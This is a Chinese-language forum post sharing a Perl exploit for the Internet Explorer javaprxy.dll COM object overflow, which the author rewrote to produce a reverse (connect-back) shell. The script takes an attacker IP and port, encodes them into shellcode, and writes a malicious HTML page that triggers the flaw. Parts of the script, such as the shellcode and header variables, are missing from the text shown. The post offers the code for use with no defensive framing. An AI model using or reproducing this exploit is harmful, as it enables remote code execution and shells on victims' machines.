Microsoft Internet Explorer javaprxy.dll COM Object 溢出漏洞是前两天刚刚公布的，类似这样的漏洞我在以前也发过一个。这个漏洞的原理我不多说，总之又是IE的一个洞洞。漏洞利用方式依然采用暴力扩大内存的方式，我这里修改主要针对shellcode做了修改。 本地监听的shellcode没什么利用价值，还是反向的来得舒服。但是这个shellcode修改不是那么容易的是，为了防止shellcode被unicode编码所以要采用点小措施来方法。
my $shellcode_text; print "\tMicrosoft Internet Explorer javaprxy.dll COM Object Remote Exploit\n\n"; print "\t\t connect back shell rewritten by 无敌最寂寞[EST]\n\n"; print " Usage:\n\tdoomie.pl <connect-back-ip> <connect-back-port> [destination file]\n\n"; print " Attention:if [destination file] is omitted,superlone.html will be default!\n\n"; my $ip=shift || die "[-]ERROR! connect back ip must be specified!\n"; my $port=shift || die "[-]ERROR!connect back port must be specified!\n"; my $file=shift || "superlone.html"; print "[+]Generating Shellcode ......"; $ip=inet_aton($ip); $ip=$ip^(pack "L",0x99999999); $port=(pack "n",$port)^(pack "S",0x9999); substr($reverse_shell,118,2)=$port; substr($reverse_shell,111,4)=$ip;
#open(FILE,">temp"); #binmode(FILE); #print FILE $reverse_shell; #close(FILE); my $len=length($reverse_shell); my @temp; my $i=0; while($i<$len){ $temp[$i]=sprintf("%.2x",ord(substr($reverse_shell,$i,1))); $i++; } $i=0;
# javaprxy.dll my $clsid = '03D9F3F2-B0E3-11D2-B081-006008039BF0';
# footer my $footer = "<object classid=\"CLSID:".$clsid."\"></object>\n". "Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit\n". "by the FrSIRT < [url]http://www.frsirt.com[/url] >\n". "reverse shellcode by 无敌最寂寞[EST]\n". "Solution - [url]http://www.frsirt.com/english/advisories/2005/0935[/url]". "</body><script>location.reload();</script></html>";
open(FILE,">$file") || die "[+]ERROR!open file failed!\n"; print FILE "$header $jedi $code $footer"; close FILE; print "DONE\n\n"; print "CHECK if it does WORK!\n";
程序的帮助信息如下：
H:\temp>doomie.pl Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit
设为主页
收藏本站
相关文章:
